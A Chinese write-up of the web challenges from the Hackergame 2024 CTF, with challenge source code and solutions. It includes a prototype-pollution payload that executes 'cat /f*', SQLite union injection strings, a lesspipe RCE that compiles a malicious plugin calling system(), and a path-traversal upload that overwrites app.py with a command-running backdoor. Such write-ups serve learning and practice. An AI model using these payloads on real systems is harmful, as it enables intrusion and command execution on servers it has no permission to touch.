Hackergame2024 WEB全详细解析
比大小王
是一个10s内算100个题,并且还要比人机快
抓包发现请求获得题目的包
查看前端交互代码
这个是提交答案的交互
function submit(inputs) {
fetch('/submit', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({inputs}),
})
.then(response => response.json())
.then(data => {
state.stopUpdate = true;
document.getElementById('dialog').textContent = data.message;
document.getElementById('dialog').style.display = 'flex';
})
.catch(error => {
state.stopUpdate = true;
document.getElementById('dialog').textContent = '提交失败,请刷新页面重试';
document.getElementById('dialog').style.display = 'flex';
});
}
抓包查看提交答案的包格式如下
那么我们写交互脚本来快速算出答案并提交
import requests
import json
import time
url="http://202.38.93.141:12122/"
sess=requests.session()
proxies={
"http": "127.0.0.1:8080"
}
header={'Content-Type': 'application/json'}
burp0_cookies = {"session": ".eJx1VNFOAjEQ_BXTVxrTba93LW_kEAUBISoJGh8ugqCARO4OQwj_bklM2Lnkni6T6c7uTud6FItsMxfNo8iLbFc8fZ4BJYa08t7QdeSsFPtsXc5z0Xw9iqsifMhIit5O8h96SckFaUnqgojgaKh0DDnJj4ZKhjwWBtIBZJWRtIxKJHkGkdRAOkmMtJKIi3IURo2hB1NRkjS4gZyvc-rsTQwkbsFEY87F4FosKzbFMDWhKLimsB_TQQ8TaWqdCA0NH03XtSMFKrY6qOP9InBJgRFMRUs0F6-I59BCXdDEUPJKC6FQErMNAfG1DTQvC3eEdsZgRK3vwTKO4A_QXATDcl4dneYw4oWGN9AQAVtJGXTQGGTPd3DIgRNwEKMDPkT4iOAslm-gK2W8tUFoKzFmmoo_Eqb6nuk6-8IFERcxQOm6Vavhh9ckqTw0AQUsiu1q_i2awrhINwc307Q7bq_sS1mu13vb-Vj0l-Nh2vlJKSoXi4e8PUvjwyAft7rpe9GZ_HaXrWFjdPd1-2xG7kCNvpn1Hu38MLEb3SvsfdafTbbTnRotp4k6iNMfn1ykiw.ZzAqxg.pT0ZncPdpw9AzOGyw4d5LeXIlBU"}
res1=sess.post(url+"game",headers=header,json={},cookies=burp0_cookies,proxies=proxies)
data = json.loads(res1.text)
sess_cookie=res1.cookies.get("session")
# Extract the 'values' list
a = data.get("values", [])
b=list()
for i in range(len(a)):
if a[i][0]<=a[i][1]:
b.append("<")
else:
b.append(">")
cookie2={"session": sess_cookie}
time.sleep(6)
res2=sess.post(url+"submit",headers=header,json={"inputs":b},cookies=cookie2,proxies=proxies)
print(res2.text)
需要注意的是需要sleep5s以上,防止被判断作弊,并且要用返回包里的session值完成游戏
Node.js is Web Scale
源代码如下
// server.js
const express = require("express");
const bodyParser = require("body-parser");
const path = require("path");
const { execSync } = require("child_process");
const app = express();
app.use(bodyParser.json());
app.use(express.static(path.join(__dirname, "public")));
let cmds = {
getsource: "cat server.js",
test: "echo 'hello, world!'",
};
let store = {};
// GET /api/store - Retrieve the current KV store
app.get("/api/store", (req, res) => {
res.json(store);
});
// POST /set - Set a key-value pair in the store
app.post("/set", (req, res) => {
const { key, value } = req.body;
const keys = key.split(".");
let current = store;
for (let i = 0; i < keys.length - 1; i++) {
const key = keys[i];
if (!current[key]) {
current[key] = {};
}
current = current[key];
}
// Set the value at the last key
current[keys[keys.length - 1]] = value;
res.json({ message: "OK" });
});
// GET /get - Get a key-value pair in the store
app.get("/get", (req, res) => {
const key = req.query.key;
const keys = key.split(".");
let current = store;
for (let i = 0; i < keys.length; i++) {
const key = keys[i];
if (current[key] === undefined) {
res.json({ message: "Not exists." });
return;
}
current = current[key];
}
res.json({ message: current });
});
// GET /execute - Run commands which are constant and obviously safe.
app.get("/execute", (req, res) => {
const key = req.query.cmd;
const cmd = cmds[key];
res.setHeader("content-type", "text/plain");
res.send(execSync(cmd).toString());
});
app.get("*", (req, res) => {
res.sendFile(path.join(__dirname, "public", "index.html"));
});
// Start the server
const PORT = 3000;
app.listen(PORT, () => {
console.log(`KV Service is running on port ${PORT}`);
});
审计代码,发现存在原型链污染,本地调试如下成功污染
const { key, value } = { "key": "__proto__.text", "value": 123 };
let store = {};
const keys = key.split(".");
let current = store;
for (let i = 0; i < keys.length - 1; i++) {
const key = keys[i];
if (!current[key]) {
current[key] = {};
}
current = current[key];
}
// Set the value at the last key
current[keys[keys.length - 1]] = "123";
console.log(store['text']);
set路由传入如下污染
{"key":"__proto__.qwe","value":"cat /f*"}
然后我们再执行cmd的键值
/execute?cmd=qwe
PaoluGPT
源码如下
from flask import Flask, request, render_template, session, redirect, url_for, make_response
import hashlib
import OpenSSL
import base64
from dataclasses import dataclass
from database import execute_query
import secrets
app = Flask(__name__)
app.secret_key = secrets.token_urlsafe(64)
app.config["MAX_CONTENT_LENGTH"] = 2 * 1024 * 1024
with open("./cert.pem") as f:
cert = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, f.read())
@app.before_request
def check():
if request.path.startswith("/static/"):
return
if request.args.get("token"):
try:
token = request.args.get("token")
id, sig = token.split(":", 1)
sig = base64.b64decode(sig, validate=True)
OpenSSL.crypto.verify(cert, sig, id.encode(), "sha256")
session["token"] = token
except Exception:
session["token"] = None
return redirect(url_for("index"))
if session.get("token") is None:
return make_response(render_template("error.html"), 403)
@dataclass
class Message:
id: str
title: str
contents: str
def sha256(msg: bytes):
return hashlib.sha256(msg).hexdigest()
def get_user_id():
return session['token'].split(":", 1)[0]
@app.route("/")
def index():
return render_template("index.html")
@app.route("/chat")
def chat():
return render_template("chat.html")
@app.route("/list")
def list():
results = execute_query("select id, title from messages where shown = true", fetch_all=True)
messages = [Message(m[0], m[1], None) for m in results]
return render_template("list.html", messages=messages)
@app.route("/view")
def view():
conversation_id = request.args.get("conversation_id")
results = execute_query(f"select title, contents from messages where id = '{conversation_id}'")
return render_template("view.html", message=Message(None, results[0], results[1]))
if __name__ == "__main__":
app.run(host="127.0.0.1", port=13091)
存在sqliite注入
测试一共2列
conversation_id=979e5f79-fe1e-4a66-b331-afe069996333' order by 2--+
联合查询成功回显
-1' union select 1, 2--+
查看sql语句
-1' union select 1,group_concat(sql) from sqlite_master--+
CREATE TABLE messages (id text primary key, title text, contents text, shown boolean)
然后sql注入数据并搜索flag字符串
-1' union select title, contents from messages where contents like '%flag%' --'
Less文件查看器
题目有文件上传以及less查看文件内容的功能
给了源码如下
from flask import Flask, request, make_response, render_template, session, redirect, url_for
import socket
import os
import base64
import OpenSSL
from secret import secret_key
app = Flask(__name__)
app.secret_key = secret_key
app.config["MAX_CONTENT_LENGTH"] = 16 * 1024 * 1024
with open("./cert.pem") as f:
cert = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, f.read())
@app.before_request
def check():
if request.path.startswith("/static/"):
return
if request.args.get("token"):
try:
token = request.args.get("token")
id, sig = token.split(":", 1)
sig = base64.b64decode(sig, validate=True)
OpenSSL.crypto.verify(cert, sig, id.encode(), "sha256")
session["token"] = token
except Exception:
session["token"] = None
return redirect(url_for("index"))
if session.get("token") is None:
return make_response(render_template("error.html"), 403)
@app.route("/", methods=["GET", "POST"])
def index():
if request.method == "POST":
token = session["token"]
files = request.files.getlist('files')
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((os.environ["nc_host"], int(os.environ["nc_port"])))
buf = b""
while True:
buf += s.recv(4096)
if buf == b"Please input your token: \n":
break
s.sendall(token.encode() + b"\n")
buf = b""
while True:
buf += s.recv(4096)
if not b"Files:".startswith(buf):
break
if buf == b"Files:\n":
for file in files:
if file.filename:
s.sendall(base64.b64encode(file.filename.encode()) + b"\n")
s.sendall(base64.b64encode(file.read()) + b"\n")
s.sendall(b'#EOF\n')
buf = b""
while True:
data = s.recv(4096)
if not data:
break
buf += data
return render_template('index.html', result=buf.decode())
else:
return render_template('index.html', result='')
用lesspipe RCE关键词,搜索到一些相关的讨论。执行以下命令:
printf '#include <stdlib.h>\nvoid onload(void *v) { system("ls / -alh"); }' | \
gcc -fPIC -shared -o plugin.so -xc -
ar rc ./@.a /dev/null
echo '-s --plugin ./plugin.so ./@.a' > .a
然后把生成的 plugin.so
、.a
、@.a
三个文件上传即可在服务器上执行列目录的命令。这里要注意,上传时选择的文件的顺序很重要,一定要保证 @.a
是最后一个。在我的 macOS 的 Chrome 浏览器上面,按照文件大小排序就能保证上传的顺序,其他操作系统我没测试,但是总是可以通过 curl 之类的命令或者写脚本来保证上传顺序。
最后把上面的命令替换成 cat /flag
,重新上传一次,就可以得到 flag。
禁止内卷
题目源代码如下
from flask import Flask, render_template, request, flash, redirect
import json
import os
import traceback
import secrets
app = Flask(__name__)
app.secret_key = secrets.token_urlsafe(64)
UPLOAD_DIR = "/tmp/uploads"
os.makedirs(UPLOAD_DIR, exist_ok=True)
# results is a list
try:
with open("results.json") as f:
results = json.load(f)
except FileNotFoundError:
results = []
with open("results.json", "w") as f:
json.dump(results, f)
def get_answer():
# scoring with answer
# I could change answers anytime so let's just load it every time
with open("answers.json") as f:
answers = json.load(f)
# sanitize answer
for idx, i in enumerate(answers):
if i < 0:
answers[idx] = 0
return answers
@app.route("/", methods=["GET"])
def index():
return render_template("index.html", results=sorted(results))
@app.route("/submit", methods=["POST"])
def submit():
if "file" not in request.files or request.files['file'].filename == "":
flash("你忘了上传文件")
return redirect("/")
file = request.files['file']
filename = file.filename
filepath = os.path.join(UPLOAD_DIR, filename)
file.save(filepath)
answers = get_answer()
try:
with open(filepath) as f:
user = json.load(f)
except json.decoder.JSONDecodeError:
flash("你提交的好像不是 JSON")
return redirect("/")
try:
score = 0
for idx, i in enumerate(answers):
score += (i - user[idx]) * (i - user[idx])
except:
flash("分数计算出现错误")
traceback.print_exc()
return redirect("/")
# ok, update results
results.append(score)
with open("results.json", "w") as f:
json.dump(results, f)
flash(f"评测成功,你的平方差为 {score}")
return redirect("/")
审计发现有文件覆盖漏洞,并且题目提示:助教部署的时候偷懒了,直接用了 flask run
(当然了,助教也读过 Flask 的文档,所以 DEBUG 是关了的)。而且有的时候助教想改改代码,又懒得手动重启,所以还开了 --reload
。启动的完整命令为 flask run --reload --host 0
。网站代码运行在 /tmp/web
。
上传脚本如下覆盖app.py
import requests
url = "https://chal02-lw27sste.hack-challenge.lug.ustc.edu.cn:8443/submit"
filename = "C:\\Users\\86150\\Desktop\\1.py"
with open(filename, 'r', encoding='utf-8') as f:
file_content = f.read()
files = {'file': ('../web/app.py', file_content)}
response = requests.post(url, files=files)
覆盖文件如下即可
from flask import Flask, jsonify
import json
import os
app = Flask(__name__)
@app.route('/', methods=['GET'])
def index():
try:
a=os.popen('ls /').read()
return a
except Exception as e:
return jsonify({"error": str(e)})
if __name__ == '__main__':
app.run()
0 条评论
可输入 255 字